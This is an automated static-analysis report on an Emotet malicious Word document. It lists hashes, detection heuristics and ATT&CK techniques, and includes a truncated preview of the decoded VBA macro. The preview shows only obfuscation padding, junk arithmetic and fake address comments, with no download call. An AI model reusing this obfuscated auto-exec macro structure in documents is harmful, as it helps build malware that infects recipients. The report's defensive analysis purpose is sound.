Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 efbf4355ea2b430c…

MALICIOUS

Office (OLE)

281.5 KB Created: 2019-10-11 12:46:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: dda63ded23f83aee9d6c70b8acdda245 SHA-1: 804e10287c8c97b51823e5b1185f62232fdbd3a1 SHA-256: efbf4355ea2b430cdd94e8320aeb3f84e2c3ffdfe053d292b1ac3d6a463ec2f1
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7330271-0, indicating a downloader functionality. Critical heuristics for obfuscated auto-exec VBA loaders and VBA p-code auto-exec with execution tokens confirm the presence of malicious VBA code. The AutoOpen macro is present and uses GetObject, suggesting an attempt to execute code or load external resources. The VBA script, though heavily obfuscated, is characteristic of Emotet's downloader behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7330271-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7330271-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 83011 bytes
SHA-256: 2f70eea2a10baadbb674cc745b438e15ce1e37f0dd451152dc649212678bcefe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "c5x464380577"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "b100791850x, 0, 0, MSForms, TextBox"
Attribute VB_Control = "x0b05200c00, 1, 1, MSForms, TextBox"
Attribute VB_Control = "c03505c991c1, 2, 2, MSForms, TextBox"
Attribute VB_Control = "b10431b7250, 3, 3, MSForms, TextBox"
Attribute VB_Control = "c37021c0x1764, 4, 4, MSForms, TextBox"
Attribute VB_Control = "b7x09783522, 5, 5, MSForms, TextBox"

Attribute VB_Name = "bc9850999c4"
Function b1c42c65025()
On Error Resume Next
   'Central320 DuBuque Valley, Kayleighhaven, Anguilla National60941 Grant Harbor, West Vestahaven, Madagascar
x2809x0c0c2 = Rnd(x10b0060001c7 * ChrB(504)) + Log(876)
'Legacy7581 Boyer Branch, South Evanburgh, Macedonia National691 Nat Bypass, Murrayport, Holy See (Vatican City State)
b64044bc3b1 = Rnd(bccx59100070 * ChrB(691)) + Log(575)
'Dynamic321 Koepp Spring, Wardborough, Montserrat Investor79775 Brock Road, Buckridgeport, British Indian Ocean Territory (Chagos Archipelago)
x440bc07302 = Rnd(cb5x81169819 * ChrB(756)) + Log(519)
'Regional84310 Julius Haven, Vivienberg, Ecuador Customer896 Howard Rest, Ryanview, Tunisia
x070c3c0902c6 = Rnd(c490c10300808 * ChrB(850)) + Log(426)
'Dynamic88647 Duane Estate, Lake Irma, Saint Lucia Direct16290 Pacocha Mills, South Elmira, Montserrat
xb150000cc3c3 = Rnd(b808026005157 * ChrB(548)) + Log(179)
'Global162 Schoen Branch, Jacobibury, Togo Regional857 Frami Cliff, Lake Guadalupemouth, New Zealand
b620910b7xx5 = Rnd(cb5015xxx8582 * ChrB(513)) + Log(951)
'International09048 Green Oval, Nathanaeltown, Jamaica Internal30314 Daniella Glen, North Nick, Portugal
b4cb9700405 = Rnd(x800x0049834 * ChrB(254)) + Log(199)
'Senior00187 George Greens, Lake Jamison, Switzerland Investor523 Ulises Club, West Dusty, Suriname
'Customer32336 Cecelia Haven, Lake Susannaville, Finland District1708 Langworth Passage, Kyleberg, Ukraine
b85x05x08040 = Rnd(xb09050398825 * ChrB(846)) + Log(952)
'Lead77351 Jerel Harbor, Damionshire, Bulgaria Chief57639 Zelda Tunnel, Fatimashire, Guinea
c081x31006b61 = Rnd(b10x18985x9 * ChrB(122)) + Log(93)
'International15485 Ezekiel Pine, Joannytown, Kyrgyz Republic Chief42204 Blick Plaza, West Silas, Madagascar
c48x4b0b96170 = Rnd(x0073824654 * ChrB(874)) + Log(76)
'Dynamic576 Shields Landing, Reinholdfurt, Saint Vincent and the Grenadines Central46479 Nicola Drive, Declanport, San Marino
xc1212b30bc = Rnd(c986524648b * ChrB(926)) + Log(726)
'Regional10852 O'Conner Tunnel, West Laceymouth, Armenia Future451 Sanford Square, Port Darrel, Niue
x60c6x0006304 = Rnd(c3905287000 * ChrB(170)) + Log(411)
'Human7209 Rutherford Islands, Gutmannbury, Hungary Central76757 Adrien Trace, Moorebury, Somalia
b06bc4x6396b1 = Rnd(x38b728x038 * ChrB(695)) + Log(696)
'Global361 Kihn Walks, Dakotafort, Sri Lanka Corporate990 Gracie Keys, Port Furman, Uganda
c1170x3cx100 = Rnd(b8181x745307 * ChrB(399)) + Log(486)
'Dynamic33589 Ona Shore, Port Hayley, Bouvet Island (Bouvetoya) Chief4772 Batz Tunnel, Cristianview, Switzerland
   'Central85884 Larson Skyway, South Ludwig, China Human0013 Stiedemann Brook, Lake Merrittberg, Virgin Islands, U.S.
x9c263073b1 = Rnd(c8x05004287 * ChrB(512)) + Log(587)
'Corporate874 Bernier Creek, Crystalborough, Bulgaria Customer8112 Roman Parks, Rosamondbury, Nigeria
c80cb83803914 = Rnd(x06620b501x0 * ChrB(696)) + Log(547)
'Chief9695 Cindy Highway, Marvintown, Albania National47768 Pacocha Views, West Ritatown, Gabon
cb798818c07c = Rnd(x37x95c5bx2 * ChrB(700)) + Log(665)
'Product960 Travon Mountains, East Thelmabury, Venezuela Central9914 Schuppe Course, East Janicehaven, Cambodia
xb0b96xx2b50 = Rnd(b870c20c570 * ChrB(116)) + Log(955)
'Lead28507 Morissette Glen, New Lesliefurt, Pitcairn Islands Customer409 Lilian Plaza, West Jillian, Cuba
b20657x0610 = Rnd(bxx1b22c706b * ChrB(733)) +
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.